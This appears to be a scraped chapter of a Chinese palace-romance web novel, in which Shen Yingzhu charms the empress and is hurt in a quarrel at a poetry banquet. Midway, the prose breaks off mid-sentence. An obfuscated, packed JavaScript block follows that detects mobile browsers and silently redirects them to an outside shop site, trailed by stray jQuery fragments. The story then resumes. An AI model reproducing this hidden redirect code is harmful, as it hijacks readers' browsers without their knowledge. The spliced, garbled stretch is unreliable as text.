可下一秒,一只软软的手握住了他的手腕,有些冰凉,却还带着特有的温度。
萧泠洲睁开眼,入目的是一只白嫩嫩的手,侧目便又看见了一张委屈的脸,像是在跟他置气。
沈萦竹脸颊染上一层薄红,与御花园中的桃花无异。她问道:“前几日我送给侯爷的信,为何迟迟没有答复?”
春风微动,扫着两人的脸庞,一片桃花悄然落下,停在沈萦竹的碎发上,平添一番风味。
萧泠洲握折扇的手指微微一顿。
他并不是没收到信,只是想看看这样一位弱女子,心里藏着多少小心机,如今再次相见,这刻意落水的戏码,他非但没有反感,反而觉得有趣。
诗宴上人声鼎沸,精妙的诗句层出不穷,轻易地就盖过了一念湖边的声响。
不一会儿,萧泠洲脸上的尴尬消失,变得一脸板正。
他淡淡地说道:“姑娘送的信我收了,不过于闺阁规矩而言,姑娘难道不逾礼吗?”
沈萦竹怔愣了一下,有些茫然。
在闺阁之中,教条束缚,对女子而言,最重要的是忠贞,其次便是教养、礼义。
而沈萦竹最讨厌的就是这些,平日里养尊处优惯了,根本不知道多少。
她只知道,只要装乖道歉,便可以大事化小、小事化了。
可当别人将教养礼义送到她面前,先前的骄纵就会烟消云散。
她沉稳下来,静静地听他说下去。
“若是我与你单独相处,被有心之人瞧了去,毁的可是姑娘的清誉。我未回信,便是在为姑娘考虑。”萧泠洲摇着扇子,仿佛刚才什么都没有发生一样。
沈萦竹自知理亏,低下了头,发丝垂落,显得有些不堪。
她顺着驴背下坡,巧言道:“多谢侯爷提点,是臣女考虑不周。”
萧泠洲注视着她的头顶,发丝有些乱了,但不张扬。
她这副模样,莫名有些乖巧可爱。
萧泠洲浅浅笑了一下:“姑娘身处闺阁之中,竟还有心思在这御花园漫步?就不怕有人怀揣狼子野心,毁了姑娘的清誉?”
沈萦竹撅了噘嘴:“臣女和侯爷一样,爱赏花作乐,连这也不可以吗?”
萧泠洲略微有些忧色,他在担心刚才玩花的举动,会不会被她看见了,他可丢不起这人。
没有思虑多久,一位婢女走了过来,打断了他的思绪。
这位婢女身着浅蓝色长袍,腰间坠着一串白珍珠,似乎不一般。
她笑眯眯地招呼了萧泠洲:“小侯爷近来可安好?”
萧泠洲颔首,应了一声。
婢女侧目瞥见了沈萦竹,观察了一番:“这位可是沈二小姐?”
沈萦竹又是一愣,她这是第一次入宫,怎会随意让一个婢女认出来?
思忖片刻,她才明白,这次赴宴的人都是故人,而多出来的、没有见过的这一位,自然只有沈二小姐。
沈萦竹敛了那一分慌张,乖巧地颔首。
婢女笑道:“皇后娘娘刚到后殿,让小侯爷久等了。”
萧泠洲说道:“无碍,我正打算前去拜见。”
婢女侧过身来:“方才娘娘还说今日难得高兴,沈二小姐如此端庄温婉,娘娘必定喜欢。不如随奴婢一同前往后殿,陪娘娘说说话吧?”
沈萦竹面上只是浅浅笑了一下,实际上心里乐开了花。
当朝皇后是萧泠洲的姑母,血缘亲近,若是能讨皇后欢心,拉拢萧泠洲的事便又多了一重助力。
她乐呵呵地点头道是。
随后沈萦竹跟着他们进了后殿。
与她料想的不一样,这后殿雕梁画栋,刻的尽是些自然花鸟,全殿找不出一个金银摆设,却又有主子的独特气质。
透过屏风旁的一株兰草,影影绰绰地瞥见皇后的朱颜,略施粉黛,如同空山幽兰,润白的肤色遮住了她的皱纹,清新脱俗却又带着一身贵气。
见他们进来,皇后放下手中的诗卷,笑道:“泠洲来了。没想到沈二小姐也在,真是热闹。”
萧泠洲规规矩矩地行了礼:“侄儿特来向姑母请安,恰逢沈二小姐也在一旁,便一同过来了。”
沈萦竹甜甜一笑,屈膝跪拜,没有半分贵女架子。
皇后打量了一会儿,眼底藏着笑意:“早就听闻镇国大将军次女乖巧温顺,今日一见,果真如此。快快起身,不必多礼,快坐下吧。”
沈萦竹道谢起身,随后与萧泠洲一同落座。
萧泠洲在心里冷笑一声,好一个乖巧温顺。
皇后先和萧泠洲说了一些家常琐事,全然没顾旁边多出来的外人,像把沈萦竹也当成了家人。
随后话题转到沈萦竹身上,她说道:“沈二小姐平日里喜欢些什么?”
沈萦竹不假思索道:“平日里喜欢绣些翠竹,做点竹香糕点。臣女看殿中也有竹型浮雕,那一抹姿色,简直不是臣女刺绣可以驾驭的。不知娘娘喜欢竹子吗?”
沈萦竹预览过室内的陈设,已经基本料定皇后喜欢景物,这一番言语只是为了勾起皇后的兴趣,好让她产生好感。
皇后答道:“当然是喜欢的,不知有没有机会亲眼见到绣竹。”
沈萦竹连忙拿出手帕,一幅精致的绣竹展现出来,色泽简直苍翠欲滴。
皇后连声叫好,甚至上前来取过:“沈二小姐如此好的手艺,估摸着京城最好的裁缝,在沈二小姐面前,也得退避三舍。”
“娘娘谬赞了,这样简陋的绣竹,不足挂齿。”
沈萦竹伶牙俐齿,哄得皇后神魂颠倒、飘飘欲仙。
一旁的萧泠洲只笑笑,不说话。
皇后依旧端详着:“沈二小姐这块手帕当真精妙,可否赠予我?”
沈萦竹喜不自胜,笑道:“娘娘开口,小辈自然答应。”
前殿再次传来阵阵惊呼,皇后这才意识到诗宴还在继续。
皇后说道:“诗宴已经开始了许久,沈二小姐好不容易来一趟,可不要错过。”
沈萦竹颔首道是,退下了。
后殿只剩姑侄二人,皇后这才敛了笑容,直接切入正题:“这沈二小姐品性容貌极好,姑母瞧着你们二人甚是般配,不如……”
萧泠洲转而一脸严肃:“姑母莫要说笑,侄儿府中事务繁忙,无暇顾及谈婚论嫁。”
他句句都是推辞之言,但脸上不经意间浮起一层殷红,从脸颊一直蔓延到耳根。
萧泠洲也不知道自己怎么了,莫名地心底一阵悸动,脸上一阵燥热。
他这副口是心非的模样,皇后都看在眼里,心中已经了然,只是低低笑了一声。
萧泠洲似乎觉得这里待不下去,这偌大的后殿,空气怎会如此压抑,叫他喘不过气来。
他便起身向皇后告辞,回到花亭透透气,手里的扇子就没停下过。
萧泠洲退下后,皇后将贴身宫女叫进来,吩咐道:“你往后多留意沈二小姐,看看她是否有别的婚约在身。”
宫女躬身领命退下。
皇后又捧起那一本诗卷,看着上面工整的字若有所思。
沈家是将门,有军权在手,倘若两家联姻,于萧家而言,可以再添一分助力,于皇后孟氏一族而言,也可以多一重臂膀,今后,她在这后宫之中,或许也能谋得更多的威望和话语权
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796785|210528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
百利而无一害。
——
沈萦竹回了前殿,吟诗作对环节已经结束,紧接着是提笔赋诗环节,不少世家公子贵女上前挥墨,文采斐然。
沈萦竹则站在后面发呆,百无聊赖。
她的脑海中不断浮现先前的画面——沈萦竹即将落湖,萧泠洲轻轻扶住她,却没有靠近。
萧泠洲满嘴礼仪教条,将他的情绪生生盖住。
若是他没有半分动心,方才不会扶住她;可若当真有情意,他为何还是那么疏离?
看她作茧自缚、一身狼狈,才应该是没有情意的表现。
沈萦竹百思不得其解。
然而,一旁响起的女声骤然打断思绪:“沈二小姐为何独自站在这里?难道是连赋诗也不会?哦,不对,估摸着连诗也看不懂吧。”
如此尖酸刻薄,不是顾令姝又能是谁?
顾令姝是顾尚书之女,仗着自己家有权有势,处处对他人出言攻击。
前几日花宴上,她就纠缠着沈怀蓉,让沈怀蓉无从脱身。
如今,目标对象变成了沈萦竹。
沈萦竹按捺着气愤,回怼道:“顾小姐,若是你会,为何不直接上前赋诗呢?这么大的台子,难道不够你闹的吗?”
顾令姝不改尖酸嘴脸,反倒变本加厉:“方才吟诗作对环节,我可是拔得头筹。反倒是沈二小姐,刚才迟迟不见你人,说不定又去做了什么见不得人的勾当。”
沈萦竹没有一丝慌张:“顾小姐,说话何必这么难听。我去做了什么与你何干?难不成赏花要向顾小姐你汇报?前几日的赏花宴上,世家公子贵女赏花也要向你汇报?顾尚书掌管礼部,偏偏他的女儿不知礼义廉耻为何物,真是可笑。”
沈萦竹的气势不弱,反而压过了顾令姝。这番有理有据的回怼,顿时让顾令姝火冒三丈,面色青白交加,一时说不出话来。
沈萦竹再次添油加醋:“看来顾小姐只会吟诗作对,不会说话,这时候成哑巴了?”
顾令姝觉得自己颜面尽失,一时失去了理智,她抬起手就向沈萦竹挥去。
沈萦竹没想到大庭广众之下,她会动粗。
顾令姝的手掌直直地落在沈萦竹的肩膀。
不知是平时装摔装惯了,还是真的弱不禁风,沈萦竹身子一歪,向一旁倒去。
一旁恰好放着一盆兰草,下面是一个圆石墩。
沈萦竹的额角撞在石墩上,顿时头破血流。
她不知道哪来的力气,挣扎着从地上坐起来,眼前白花花的,还有阵阵虚影。
“小姐!”碧波见状赶紧跑了过来,看见瘫坐在地的沈萦竹,额角的血流下眼角,煞是狰狞可怖。
碧波从身后扶住沈萦竹:“小姐!你还好吗?小姐!”
沈萦竹只觉得周围有无数只眼睛盯着她,人影幢幢,满堂哗然。
顾令姝也顿时脸色煞白,几乎咬紧了后槽牙。
这样窘迫的境地,简直没有什么好辩驳的。
沈萦竹暗自想着:这次是你弱势,顾小姐你,斗不过我的。
不远处,萧泠洲听到动静赶过来,看见倒地的沈萦竹,以及一旁不知所措的顾令姝,已经知晓了大概。
他手中的扇子不摇了,脸色也阴沉下来。
许是顾忌礼义,他没有上前扶起沈萦竹,只是恶狠狠地盯着顾令姝,训斥道:“宫中诗宴,顾小姐当众伤人,该当何罪?”
他的周身似有团团寒雾,带着盛冬最凛冽的风,叫人喘不过气来。
沈萦竹靠在碧波身上,头晕目眩,心里却在笑:
你是喜欢我的,对吗?